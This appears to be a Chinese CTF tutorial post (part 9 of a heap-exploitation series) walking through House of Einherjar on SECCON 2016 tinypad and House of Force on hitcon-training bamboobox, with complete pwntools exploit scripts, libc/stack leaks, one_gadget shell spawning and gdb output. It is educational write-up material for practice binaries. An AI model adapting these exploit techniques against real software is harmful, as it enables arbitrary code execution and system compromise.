pwn堆入门系列教程9

NoOne / 2019-10-20 10:00:09 / 浏览数 3530 安全技术 CTF 顶(0) 踩(0)

pwn堆入门系列教程9

pwn堆入门系列教程1
pwn堆入门系列教程2
pwn堆入门系列教程3
pwn堆入门系列教程4
pwn堆入门系列教程5
pwn堆入门系列教程6
pwn堆入门系列教程7
pwn堆入门系列教程8

学习House Of Einherjar

2016 Seccon tinypad

这道题说难不难。。我也做得久了，因为exp看不懂啊，这么复杂。。。后来简化了下，感觉轻松点了

功能分析，新增，删除，编辑，退出

至于洞，off-by-one

```
unsigned __int64 __fastcall read_until(char *a1, unsigned __int64 len, unsigned int terminate)
{
 int v4; // [rsp+Ch] [rbp-34h]
 unsigned __int64 i; // [rsp+28h] [rbp-18h]
 __int64 v6; // [rsp+30h] [rbp-10h]

 v4 = terminate;
 for ( i = 0LL; i < len; ++i )
 {
   v6 = read_n(0LL, &a1[i], 1LL);
   if ( v6 < 0 )
     return -1LL;
   if ( !v6 || a1[i] == v4 )
     break;
 }
 a1[i] = 0; #a1[i]■■■a1[len],■■■■■■■
 if ( i == len && a1[len - 1] != '\n' )
   dummyinput(v4);
 return i;
}
```

漏洞利用过程

堆操作初始化部分

```
#!/usr/bin/env python
# coding=utf-8
from pwn import *

elf = ELF('./tinypad')
libc = elf.libc
io = process('./tinypad')
#context.log_level = 'debug'

def choice(idx):
   io.sendlineafter("(CMD)>>> ", idx)

def add(size, content):
   choice("A")
   io.sendlineafter("(SIZE)>>> ", str(size))
   io.sendlineafter("(CONTENT)>>> ", content)
```

```
def remove(idx):
   choice("D")
   io.sendlineafter("(INDEX)>>> ", str(idx))

def edit(idx, content):
   choice("E")
   io.sendlineafter("(INDEX)>>> ", str(idx))
   io.sendlineafter("(CONTENT)>>> ", content)
   io.sendlineafter("(Y/n)>>> ", "Y")

def quit():
   choice("Q")
```

泄露地址

```
#stage 1 leak the addr
   add(0x80, '1'*0x80)
   add(0x80, '2'*0x80)
   add(0x80, '3'*0x80)
   add(0x80, '4'*0x80)
   remove(3)
   remove(1)
   io.recvuntil("INDEX: 1\n")
   io.recvuntil(" # CONTENT: ")
   heap = u64(io.recvline().rstrip().ljust(8, '\x00')) - 0x120
   io.success("heap: 0x%x" % heap)
   io.recvuntil("INDEX: 3\n")
   io.recvuntil(" # CONTENT: ")
   leak_libc = u64(io.recvline().strip().ljust(8, '\x00')) - 88
   io.success("main_arena: 0x%x" %leak_libc)
   libc_base = leak_libc - 0x3c4b20
   remove(2)
   remove(4)
```

这个部分简单啊，leak，全在unsortedbin里，这里学到一个知识点是rstrip,通常我只用过strip，
该rstrip()方法删除所有尾随字符（字符串末尾的字符），空格是要删除的默认尾随字符
至于88这个是main_arena+88，减掉就是main_arena

House Of Einherjar

```
add(0x10, '1'*0x10)
   add(0x100, '2'*0xf8 + p64(0x11))
   add(0x100, '3'*0xf8)
   add(0x100, '4'*0xf8)

   tinypad = 0x0000000000602040
   offset = heap + 0x20 - (0x602040 + 0x20)
   io.success("offset: 0x%x" % offset)
   fake_chunk = p64(0) + p64(0x101) + p64(0x602060)*2
   edit(3, "4"*0x20 + fake_chunk)
   remove(1)
   add(0x18, '1'*0x10 + p64(offset))
   remove(2)
   #gdb.attach(io)
   edit(4, "4"*0x20 + p64(0) + p64(0x101) + p64(leak_libc + 88)*2)
```

原解我感觉把题目搞复杂了，不需要for循环覆盖那个pre_size，完全可以利用add的时候加上就完了，
house of einherjar这个攻击方法有点类似于unlink，不过又不太相似

目标:0x602060这个位置
heap + 0x20是第二个chunk位置
我们目的就是让第二个chunk的上一个chunk达到0x602060
所以pre_size就是第二个chunk位置减去0x602060
offset = heap + 0x20 - (0x602040 + 0x20)

fake_chunk这里是从tinypad开始地址开始覆盖的，前面0x20个作为后面填充部分，防止多次写的时候覆盖到
然后指针不像unlink那样了，
p->fd = p
p->bk = p

这里edit的时候都会从tinypad开始覆盖，所以编辑别个也可以的
edit(3, "4"*0x20 + fake_chunk)

remove(1)在add(0x18)，利用tcache的复用就行了，原exp的解是搞得很复杂，循环单字节null填充，太麻烦了感觉

这点不用这么复杂，0x101是为了后面分配用的，而p64(leak_libc+88)*2
这里，你只要bk是个可写的地址就行了，不要是不可写的就行，unsortedbin攻击里讲过

引用ctf-wiki

```
#■ glibc/malloc/malloc.c ■■ _int_malloc ■■■■■■■■■■■■■■ unsorted bin ■■■■■■■■■ bck->fd ■■■■■■■ Unsorted Bin ■■■■
```

```
        /* remove from unsorted list */
        if (__glibc_unlikely (bck->fd != victim))
          malloc_printerr ("malloc(): corrupted unsorted chunks 3");
        unsorted_chunks (av)->bk = bck;
        bck->fd = unsorted_chunks (av);
```

edit(4, "4"0x20 + p64(0) + p64(0x101) + p64(leak_libc + 88)2)

getshell

```
#stage 3
   one_gadget = libc_base + 0x45216
   io.success("libc_base: 0x%x" % libc_base)
   environ_pointer = libc_base + libc.symbols['__environ']

   io.success("environ_pointer: 0x%x" % environ_pointer)
   add(0xf0, '1'*0xd0 + p64(0x18) + p64(environ_pointer) + 'a'*8 + p64(0x602148))

   io.recvuntil(" #   INDEX: 1\n")
   io.recvuntil(" # CONTENT: ")
   main_ret = u64(io.recvline().rstrip().ljust(8, '\x00')) - 0x8 * 30
   io.success("main_ret: %x" % main_ret)
   edit(2, p64(main_ret))
   edit(1, p64(one_gadget))
   quit()
```

这里学到了一个新方法，通过environ泄露main函数ret地址，然后覆盖main_ret

在 Linux 系统中，glibc 的环境指针 environ(environment pointer)
为程序运行时所需要的环境变量表的起始地址，环境表中的指针指向各环境变量字符串。从以下结果可知环境指针 environ 在栈空间的高地址处。因此，可通过 environ 指针泄露栈地址。
[讲解这部分的文章]

这里还用到个常用攻击方法，覆盖两个指针，一个用来控制另一个地址的，这个跟unlink那会学的攻击手法一样的，至于0x8*30,可以用查看内存中对比

自己调试的时候可以main函数尾部下个断，可以看到我这个结果

```
Breakpoint 1, 0x0000000000400e68 in main ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■[ REGISTERS ]■
RAX  0x0
RBX  0x0
RCX  0x0
RDX  0x7f5fc76f6ae0 (_nl_C_LC_CTYPE_toupper) ■— add    byte ptr [rax], 0
RDI  0x51
RSI  0x0
R8   0x1
R9   0x1999999999999999
R10  0x0
R11  0x246
R12  0x4006e0 (_start) ■— xor    ebp, ebp
R13  0x7fff53d21f40 ■— 0x1
R14  0x0
R15  0x0
RBP  0x401370 (__libc_csu_init) ■— push   r15
RSP  0x7fff53d21e68 —■ 0x7f5fc75a0830 (__libc_start_main+240) ■— mov    edi, eax
RIP  0x400e68 (main+1541) ■— ret
```

```
[ DISASM ]
 0x400e68       <main+1541>               ret             <0x7f5fc75a0830; __libc_start_main+240>
   ↓
  0x7f5fc75a0830 <__libc_start_main+240>    mov    edi, eax
  0x7f5fc75a0832 <__libc_start_main+242>    call   exit <0x7f5fc75ba030>

  0x7f5fc75a0837 <__libc_start_main+247>    xor    edx, edx
  0x7f5fc75a0839 <__libc_start_main+249>    jmp    __libc_start_main+57 <0x7f5fc75a0779>

  0x7f5fc75a083e <__libc_start_main+254>    mov    rax, qword ptr [rip + 0x3a8ecb] <0x7f5fc7949710>
  0x7f5fc75a0845 <__libc_start_main+261>    ror    rax, 0x11
  0x7f5fc75a0849 <__libc_start_main+265>    xor    rax, qword ptr fs:[0x30]
  0x7f5fc75a0852 <__libc_start_main+274>    call   rax

  0x7f5fc75a0854 <__libc_start_main+276>    mov    rax, qword ptr [rip + 0x3a8ea5] <0x7f5fc7949700>
  0x7f5fc75a085b <__libc_start_main+283>    ror    rax, 0x11
[ STACK ]
00:0000 rsp  0x7fff53d21e68 —▸ 0x7f5fc75a0830 (__libc_start_main+240) ◂— mov    edi, eax
01:0008      0x7fff53d21e70 ◂— 0x1
02:0010      0x7fff53d21e78 —▸ 0x7fff53d21f48 —▸ 0x7fff53d233b3 ◂— './tinypad'
03:0018      0x7fff53d21e80 ◂— 0x1c7b6fca0
04:0020      0x7fff53d21e88 —▸ 0x400863 (main) ◂— push   rbp
05:0028      0x7fff53d21e90 ◂— 0x0
06:0030      0x7fff53d21e98 ◂— 0x63cd5245d4e10d9c
07:0038      0x7fff53d21ea0 —▸ 0x4006e0 (_start) ◂— xor    ebp, ebp
[ BACKTRACE ]
 f 0           400e68 main+1541
  f 1     7f5fc75a0830 __libc_start_main+24
```

为什么是libc_start_main?建议看看第三篇讲的linux x86程序启动
给链接

linux_x86程序启动中文版
linux_x86程序启动英文版

```
84  ../sysdeps/unix/syscall-template.S: No such file or directory.
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
[ REGISTERS ]
RAX  0xfffffffffffffe00
RBX  0x0
RCX  0x7f30af211260 (__read_nocancel+7) ◂— cmp    rax, -0xfff
RDX  0x1
RDI  0x0
RSI  0x7fff48b59964 ◂— 0x7b51190000000000
R8   0x1
R9   0x1999999999999999
R10  0x0
R11  0x246
R12  0x4006e0 (_start) ◂— xor    ebp, ebp
R13  0x7fff48b59a80 ◂— 0x1
R14  0x0
R15  0x0
RBP  0x7fff48b59900 —▸ 0x7fff48b59950 —▸ 0x7fff48b59970 —▸ 0x7fff48b599a0 —▸ 0x401370 (__libc_csu_init) ◂— ...
RSP  0x7fff48b598b8 —▸ 0x400ed9 (_read_n+112) ◂— mov    qword ptr [rbp - 0x10], rax
RIP  0x7f30af211260 (__read_nocancel+7) ◂— cmp    rax, -0xfff
[ DISASM ]
 0x7f30af211260 <__read_nocancel+7>     cmp    rax, -0xfff
  0x7f30af211266 <__read_nocancel+13>    jae    read+73 <0x7f30af211299>
   ↓
  0x7f30af211299 <read+73>               mov    rcx, qword ptr [rip + 0x2ccbd8]
  0x7f30af2112a0 <read+80>               neg    eax
  0x7f30af2112a2 <read+82>               mov    dword ptr fs:[rcx], eax
  0x7f30af2112a5 <read+85>               or     rax, 0xffffffffffffffff
  0x7f30af2112a9 <read+89>               ret

  0x7f30af2112aa                         nop    word ptr [rax + rax]
  0x7f30af2112b0 <write>                 cmp    dword ptr [rip + 0x2d2489], 0 <0x7f30af4e3740>
  0x7f30af2112b7 <write+7>               jne    write+25 <0x7f30af2112c9>
   ↓
  0x7f30af2112c9 <write+25>              sub    rsp, 8
```

```
[ STACK ]
00:0000 rsp  0x7fff48b598b8 —▸ 0x400ed9 (_read_n+112) ◂— mov    qword ptr [rbp - 0x10], rax
01:0008      0x7fff48b598c0 —▸ 0x7fff48b598f0 —▸ 0x4018d8 (prompt_cmd) ◂— sub    byte ptr [rbx + 0x4d], al /* '(CMD)>>> ' */
02:0010      0x7fff48b598c8 ◂— 0x1
03:0018      0x7fff48b598d0 —▸ 0x7fff48b59964 ◂— 0x7b51190000000000
04:0020      0x7fff48b598d8 —▸ 0x400fad (_write_n+112) ◂— mov    qword ptr [rbp - 0x10], rax
05:0028      0x7fff48b598e0 —▸ 0x401a29 ◂— or     al, byte ptr [rax] /* '\n' */
06:0030      0x7fff48b598e8 ◂— 0x0
07:0038      0x7fff48b598f0 —▸ 0x4018d8 (prompt_cmd) ◂— sub    byte ptr [rbx + 0x4d], al /* '(CMD)>>> ' */
[ BACKTRACE ]
▸ f 0     7f30af211260 __read_nocancel+7
  f 1           400ed9 _read_n+112
  f 2           401100 read_until+73
  f 3           400832 getcmd+92
  f 4           4009c1 main+350
  f 5     7f30af13a830 __libc_start_main+240

gdb-peda$ find '0x7f30af13a830'
Searching for '0x7f30af13a830' in: None ranges
Found 1 results, display max 1 items:
[stack] : 0x7fff48b599a8 --> 0x7f30af13a830 (<__libc_start_main+240>:   mov    edi,eax)
gdb-peda$ p 0x7fff48b599a8-0x7fff48b59a98
$1 = 0xffffffffffffff10
gdb-peda$ p 0x7fff48b59a98-0x7fff48b599a8
$2 = 0xf0
```

这里说下怎么找偏移，
从environ里leak出来的地址[+] main_ret: 0x7fff48b59a98，在与find出来的地址，find
的话，是find上面的f5那个地址，就是查找存了这个地址的位置，然后计算下偏移就行了

```
gdb-peda$ p 0x7fff48b59a98-0x7fff48b599a8
$2 = 0xf0
```

完结，撒花

exp

```
#!/usr/bin/env python
# coding=utf-8
from pwn import *

elf = ELF('./tinypad')
libc = elf.libc
io = process('./tinypad')
#context.log_level = 'debug'

def choice(idx):
   io.sendlineafter("(CMD)>>> ", idx)

def add(size, content):
   choice("A")
   io.sendlineafter("(SIZE)>>> ", str(size))
   io.sendlineafter("(CONTENT)>>> ", content)

def remove(idx):
   choice("D")
   io.sendlineafter("(INDEX)>>> ", str(idx))

def edit(idx, content):
   choice("E")
   io.sendlineafter("(INDEX)>>> ", str(idx))
   io.sendlineafter("(CONTENT)>>> ", content)
   io.sendlineafter("(Y/n)>>> ", "Y")

def quit():
   choice("Q")

def exp():

   #stage 1 leak the addr
```

```
    add(0x80, '1'*0x80)
    add(0x80, '2'*0x80)
    add(0x80, '3'*0x80)
    add(0x80, '4'*0x80)
    remove(3)
    remove(1)
    io.recvuntil("INDEX: 1\n")
    io.recvuntil(" # CONTENT: ")
    heap = u64(io.recvline().rstrip().ljust(8, '\x00')) - 0x120
    io.success("heap: 0x%x" % heap)
    io.recvuntil("INDEX: 3\n")
    io.recvuntil(" # CONTENT: ")
    leak_libc = u64(io.recvline().strip().ljust(8, '\x00')) - 88
    io.success("main_arena: 0x%x" %leak_libc)
    libc_base = leak_libc - 0x3c4b20
    remove(2)
    remove(4)

    #stage 2
    add(0x10, '1'*0x10)
    add(0x100, '2'*0xf8 + p64(0x11))
    add(0x100, '3'*0xf8)
    add(0x100, '4'*0xf8)

    tinypad = 0x0000000000602040
    offset = heap + 0x20 - (0x602040 + 0x20)
    io.success("offset: 0x%x" % offset)
    fake_chunk = p64(0) + p64(0x101) + p64(0x602060)*2
    edit(3, "4"*0x20 + fake_chunk)
    remove(1)
    add(0x18, '1'*0x10 + p64(offset))
    remove(2)
    #gdb.attach(io)
    edit(4, "4"*0x20 + p64(0) + p64(0x101) + p64(leak_libc + 88)*2)

    #stage 3
    one_gadget = libc_base + 0x45216
    io.success("libc_base: 0x%x" % libc_base)
    environ_pointer = libc_base + libc.symbols['__environ']

    io.success("environ_pointer: 0x%x" % environ_pointer)
    add(0xf0, '1'*0xd0 + p64(0x18) + p64(environ_pointer) + 'a'*8 + p64(0x602148))

    io.recvuntil(" #   INDEX: 1\n")
    io.recvuntil(" # CONTENT: ")
    main_ret = u64(io.recvline().rstrip().ljust(8, '\x00')) - 0x8 * 30
    io.success("main_ret: %x" % main_ret)
    edit(2, p64(main_ret))
    edit(1, p64(one_gadget))
    quit()
    gdb.attach(io)



if __name__ == '__main__':
    exp()
    io.interactive()
```

hitcontraning_lab11(house of force)

这题算是实验，所以直接调试exp，
运行环境： libc2.23.so

最新的libc2.29似乎加入了检查，运行exp报错

漏洞利用过程

申请一个堆块状态，目的是覆盖top chunk

```
gdb-peda$ x/30gx 0x25ed000
0x25ed000:  0x0000000000000000  0x0000000000000021
0x25ed010:  0x0000000000400896  0x00000000004008b1
0x25ed020:  0x0000000000000000  0x0000000000000041
0x25ed030:  0x0000000a61616464  0x0000000000000000
0x25ed040:  0x0000000000000000  0x0000000000000000
0x25ed050:  0x0000000000000000  0x0000000000000000
0x25ed060:  0x0000000000000000  0x0000000000020fa1
0x25ed070:  0x0000000000000000  0x0000000000000000
0x25ed080:  0x0000000000000000  0x0000000000000000
0x25ed090:  0x0000000000000000  0x0000000000000000
0x25ed0a0:  0x0000000000000000  0x0000000000000000
0x25ed0b0:  0x0000000000000000  0x0000000000000000
0x25ed0c0:  0x0000000000000000  0x0000000000000000
0x25ed0d0:  0x0000000000000000  0x0000000000000000
0x25ed0e0:  0x0000000000000000  0x0000000000000000
```

通过edit 覆盖到top chunk的size部分

```
gdb-peda$ x/30gx 0x25ed030-0x30
0x25ed000:  0x0000000000000000  0x0000000000000021
0x25ed010:  0x0000000000400896  0x00000000004008b1
0x25ed020:  0x0000000000000000  0x0000000000000041
0x25ed030:  0x6161616161616161  0x6161616161616161
0x25ed040:  0x6161616161616161  0x6161616161616161
0x25ed050:  0x6161616161616161  0x6161616161616161
0x25ed060:  0x6161616161616161  0xffffffffffffffff
0x25ed070:  0x000000000000000a  0x0000000000000000
```

此时top chunk位置0x00000000025ed060

```
gdb-peda$ p &main_arena
$1 = (malloc_state *) 0x7f2a72614b20 <main_arena>
gdb-peda$ x/20gx 0x7f2a72614b20
0x7f2a72614b20 <main_arena>:    0x0000000100000000  0x0000000000000000
0x7f2a72614b30 <main_arena+16>: 0x0000000000000000  0x0000000000000000
0x7f2a72614b40 <main_arena+32>: 0x0000000000000000  0x0000000000000000
0x7f2a72614b50 <main_arena+48>: 0x0000000000000000  0x0000000000000000
0x7f2a72614b60 <main_arena+64>: 0x0000000000000000  0x0000000000000000
0x7f2a72614b70 <main_arena+80>: 0x0000000000000000  0x00000000025ed060
```

位置为0x25ed060处，我们要覆盖的是0x25ed010处指针，故偏移为0x25ed060-0x25ed010-0x10 = 0x60

不过是负的，我们要往上偏移，所以要malloc(-)的

```
/*
  Check if a request is so large that it would wrap around zero when
  padded and aligned. To simplify some other code, the bound is made
  low enough so that adding MINSIZE will also not wrap around zero.
*/

#define REQUEST_OUT_OF_RANGE(req)                                 \
   ((unsigned long) (req) >= (unsigned long) (INTERNAL_SIZE_T)(-2 * MINSIZE))
/* pad request bytes into a usable size -- internal version */
//MALLOC_ALIGN_MASK = 2 * SIZE_SZ -1
#define request2size(req)                                         \
   (((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE)                \
        ? MINSIZE                                                 \
        : ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)

/*  Same, except also perform argument check */

#define checked_request2size(req, sz)                             \
   if (REQUEST_OUT_OF_RANGE(req)) {                               \
       __set_errno(ENOMEM);                                       \
       return 0;                                                  \
   }                                                              \
   (sz) = request2size(req);
```

这里先要过掉第一个检查， -2*MINSIZE，可以pass,接下来要让我们的
((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK) 刚好等于=-60
所以要减掉个SIZE_SZ, -68就是malloc大小了

```
gdb-peda$ p &main_arena
$1 = (malloc_state *) 0x7f2a72614b20 <main_arena>
gdb-peda$ x/20gx 0x7f2a72614b20
0x7f2a72614b20 <main_arena>:    0x0000000100000000  0x0000000000000000
0x7f2a72614b30 <main_arena+16>: 0x0000000000000000  0x0000000000000000
0x7f2a72614b40 <main_arena+32>: 0x0000000000000000  0x0000000000000000
0x7f2a72614b50 <main_arena+48>: 0x0000000000000000  0x0000000000000000
0x7f2a72614b60 <main_arena+64>: 0x0000000000000000  0x0000000000000000
0x7f2a72614b70 <main_arena+80>: 0x0000000000000000  0x00000000025ed000
0x7f2a72614b80 <main_arena+96>: 0x0000000000000000  0x00007f2a72614b78
0x7f2a72614b90 <main_arena+112>:    0x00007f2a72614b78  0x00007f2a72614b88
0x7f2a72614ba0 <main_arena+128>:    0x00007f2a72614b88  0x00007f2a72614b98
0x7f2a72614bb0 <main_arena+144>:    0x00007f2a72614b98  0x00007f2a72614ba8
gdb-peda$ x/10gx 0x00000000025ed000
0x25ed000:  0x0000000000000000  0x0000000000000059
0x25ed010:  0x0000000000400896  0x00000000004008b1
0x25ed020:  0x0000000000000000  0x0000000000000041
0x25ed030:  0x6161616161616161  0x6161616161616161
0x25ed040:  0x6161616161616161  0x6161616161616161
```

你看成功转移到这里了，现在在malloc一次就可以了

```
0x1483000 FASTBIN {
 prev_size = 0x0,
 size = 0x21,
 fd = 0x400d49 <magic>,
 bk = 0x400d49 <magic>,
 fd_nextsize = 0x0,
 bk_nextsize = 0x39
}
0x1483020 PREV_INUSE {
 prev_size = 0x0,
 size = 0x39,
 fd = 0x6161616161616161,
 bk = 0x6161616161616161,
 fd_nextsize = 0x6161616161616161,
 bk_nextsize = 0x6161616161616161
}
0x1483058 PREV_INUSE {
 prev_size = 0x6161616161616161,
 size = 0x6161616161616161,
 fd = 0xfffffffffffa1,
 bk = 0xa,
 fd_nextsize = 0x0,
 bk_nextsize = 0x0
}
```

成功覆盖，最后退出一下就好了

exp

这里直接用的ctf-wiki的exp,我只改动了一处，他还减多个0xf,没看懂，所以删掉了，也没事

```
#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *

r = process('./bamboobox')
context.log_level = 'debug'


def additem(length, name):
   r.recvuntil(":")
   r.sendline("2")
   r.recvuntil(":")
```

```
    r.sendline(str(length))
    r.recvuntil(":")
    r.sendline(name)


def modify(idx, length, name):
    r.recvuntil(":")
    r.sendline("3")
    r.recvuntil(":")
    r.sendline(str(idx))
    r.recvuntil(":")
    r.sendline(str(length))
    r.recvuntil(":")
    r.sendline(name)


def remove(idx):
    r.recvuntil(":")
    r.sendline("4")
    r.recvuntil(":")
    r.sendline(str(idx))


def show():
    r.recvuntil(":")
    r.sendline("1")


magic = 0x400d49
# we must alloc enough size, so as to successfully alloc from fake topchunk
additem(0x30, "ddaa")  # idx 0
payload = 0x30 * 'a'  # idx 0's content
payload += 'a' * 8 + p64(0xffffffffffffffff)  # top chunk's prev_size and size
# modify topchunk's size to -1
modify(0, 0x41, payload)
# top chunk's offset to heap base
offset_to_heap_base = -(0x40 + 0x20)
malloc_size = offset_to_heap_base - 0x8
additem(malloc_size, "dada")
additem(0x10, p64(magic) * 2)
gdb.attach(r)
print r.recv()
r.interactive()
```

总结

一次性学了house of einherjar和house of force,ctf-wiki还是强，不过有些得自己调试才好,适合自己的才是最好的

上一篇：angr 入门介绍（一） 下一篇：逻辑让我崩溃之日常APP抓包几法

1. 0 条回复
   - 动动手指，沙发就是你的了！

目录